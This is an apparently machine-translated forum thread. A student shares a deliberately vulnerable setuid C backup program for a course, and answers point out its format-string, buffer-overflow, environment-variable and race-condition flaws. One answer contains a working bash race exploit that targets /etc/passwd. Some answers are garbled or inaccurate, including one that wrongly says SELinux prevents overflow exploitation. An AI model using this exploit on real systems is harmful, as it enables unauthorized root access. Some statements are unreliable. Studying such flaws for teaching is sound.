Use a backup program using C

I am assigning a security course, which asks to find 4 vulnerabilities of the backup program (setuid) and use each of them to gain root access (on a Linux virtual machine with an old version of gcc, etc.). There must be one buffer overflow and one from format strings.

Can someone help me point out where the 4 vulnerabilities are? I think buffer overflows can happen in copyFile() .

Below is the code for backup.c: (which can be called into "backup foo backup" or "backup restore foo")

 #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #include <sys/wait.h> #include <string.h> #include <sys/types.h> #include <sys/stat.h> #define CMD_BACKUP 0 #define CMD_RESTORE 1 #define BACKUP_DIRECTORY "/usr/share/backup" #define FORBIDDEN_DIRECTORY "/etc" static int copyFile(char* src, char* dst) { char buffer[3072]; /* 3K ought to be enough for anyone*/ unsigned int i, len; FILE *source, *dest; int c; source = fopen(src, "r"); if (source == NULL) { fprintf(stderr, "Failed to open source file\n"); return -1; } i = 0; c = fgetc(source); while (c != EOF) { buffer[i] = (unsigned char) c; c = fgetc(source); i++; } len = i; fclose(source); dest = fopen(dst, "w"); if (dest == NULL) { fprintf(stderr, "Failed to open destination file\n"); return -1; } for(i = 0; i < len; i++) fputc(buffer[i], dest); fclose(dest); return 0; } static int restorePermissions(char* target) { pid_t pid; int status; char *user, *userid, *ptr; FILE *file; char buffer[64]; mode_t mode; // execute "chown" to assign file ownership to user pid = fork(); // error if (pid < 0) { fprintf(stderr, "Fork failed\n"); return -1; } // parent if (pid > 0) { waitpid(pid, &status, 0); if (WIFEXITED(status) == 0 || WEXITSTATUS(status) < 0) return -1; } else { // child // retrieve username user = getenv("USER"); // retrieve corresponding userid file = fopen("/etc/passwd", "r"); if (file == NULL) { fprintf(stderr, "Failed to open password file\n"); return -1; } userid = NULL; while (!feof(file)) { if (fgets(buffer, sizeof(buffer), file) != NULL) { ptr = strtok(buffer, ":"); if (strcmp(ptr, user) == 0) { strtok(NULL, ":"); // password userid = strtok(NULL, ":"); // userid ptr = strtok(NULL, ":"); // group *ptr = '\0'; break; } } } if (userid != NULL) execlp("/bin/chown", "/bin/chown", userid, target, NULL); // reached only in case of error return -1; } mode = S_IRUSR | S_IWUSR | S_IEXEC; chmod(target, mode); return 0; } static void usage(char* parameter) { char newline = '\n'; char output[96]; char buffer[96]; snprintf(buffer, sizeof(buffer), "Usage: %.60s backup|restore pathname%c", parameter, newline); sprintf(output, buffer); printf(output); } int main(int argc, char* argv[]) { int cmd; char *path, *ptr; char *forbidden = FORBIDDEN_DIRECTORY; char *src, *dst, *buffer; struct stat buf; if (argc != 3) { usage(argv[0]); return 1; } if (strcmp("backup", argv[1]) == 0) { cmd = CMD_BACKUP; } else if (strcmp("restore", argv[1]) == 0) { cmd = CMD_RESTORE; } else { usage(argv[0]); return 1; } path = argv[2]; // prevent access to forbidden directory ptr = realpath(path, NULL); if (ptr != NULL && strstr(ptr, forbidden) == ptr) { fprintf(stderr, "Not allowed to access target/source %s\n", path); return 1; } // set up paths for copy operation buffer = malloc(strlen(BACKUP_DIRECTORY) + 1 + strlen(path) + 1); if (buffer == NULL) { fprintf(stderr, "Failed to allocate memory\n"); return 1; } if (cmd == CMD_BACKUP) { src = path; dst = buffer; strcpy(dst, BACKUP_DIRECTORY); strcat(dst, "/"); strcat(dst, path); } else { src = buffer; strcpy(src, BACKUP_DIRECTORY); strcat(src, "/"); strcat(src, path); dst = path; // don't overwrite existing file if we don't own it if (stat(dst, &buf) == 0 && buf.st_uid != getuid()) { fprintf(stderr, "Not your file: %s\n", dst); return 1; } } // perform actual backup/restore operation if (copyFile(src, dst) < 0) return 1; // grant user access to restored file if (cmd == CMD_RESTORE) { if (restorePermissions(path) < 0) return 1; } return 0; } 

And something useful:

  // one way to invoke backup //system("/usr/local/bin/backup backup foo"); // another way args[0] = TARGET; args[1] = "backup"; args[2] = "foo"; args[3] = NULL; env[0] = NULL; if (execve(TARGET, args, env) < 0) fprintf(stderr, "execve failed.\n"); exit(0); 
+4
source share
5 answers
  • A format vulnerability is found in usage() - when using the sprintf() and printf() strings that are generated from argv[0] , which the attacker can manipulate to contain everything they want.

  • The main buffer overflow is the allocation of Péter Török ; when scanning code for security vulnerabilities, any uncontrolled filling of the buffer with such blatant comments as a pointer causes problems.

  • USER environment variable is used - this can be manipulated by unscrupulous people, but it’s debatable whether it will actually buy you anything. You could set it to root, and trying the chown command would use the username that it was suggested to use.

  • There is an arrangement between the chown and the chmod() system call. It is not immediately clear how you will use this separately from other problems, but it may give you something that you can use.

Including <sys/types.h> twice is redundant, but otherwise harmless. With POSIX 2008, it is not even needed in most places.

+3
source

I'm not a security expert, but a comment here

 char buffer[3072]; /* 3K ought to be enough for anyone*/ 

says :-) So, as you might have guessed, there is the possibility of a buffer overflow. The buffer is actually used to read the contents of the input file. So try it with a file exceeding 3K.

Now, since buffer is local, it is allocated on the stack. Thus, during overflow, you can overwrite the contents of the stack, including the return address and local variables in the frame of the caller's stack. This is a theory, as far as I know, but I cannot give you more practical details.

+5
source

You can no longer use buffer overflows on Linux, since SE-Linux prevents malicious or accidental inadvertent code execution by interrupting this program, as well as randomizing Wand addresses.

First you need to disable these programs, but this requires, first of all, root access.

0
source

Encouraged by vulnerability 4 from Jonathan Leffler’s response, here is an exploit for TOCTOU (race condition between Time of Check to Time of Update file) between checking realpath() and fopen()

 trap 'rm -f my_passwd; kill -TERM 0' INT function p1() { while [[ 1 ]] do nice -20 ./backup restore my_passwd ls -l /etc/passwd /etc/my_passwd my_passwd done } function p2() { while [[ 1 ]] do rm -f my_passwd; ln /etc/my_passwd my_passwd; sleep .1; rm -f my_passwd done } export USER=root p1 & p2 

In any case, setting UMASK to 000 should allow similar operation for the chmod() problem.

0
source

Also consider whether string comparisons are sufficient to block the forbidden directory. Answer: No, at least in two ways that I can think of.

-1
source

Source: https://habr.com/ru/post/1336103/


All Articles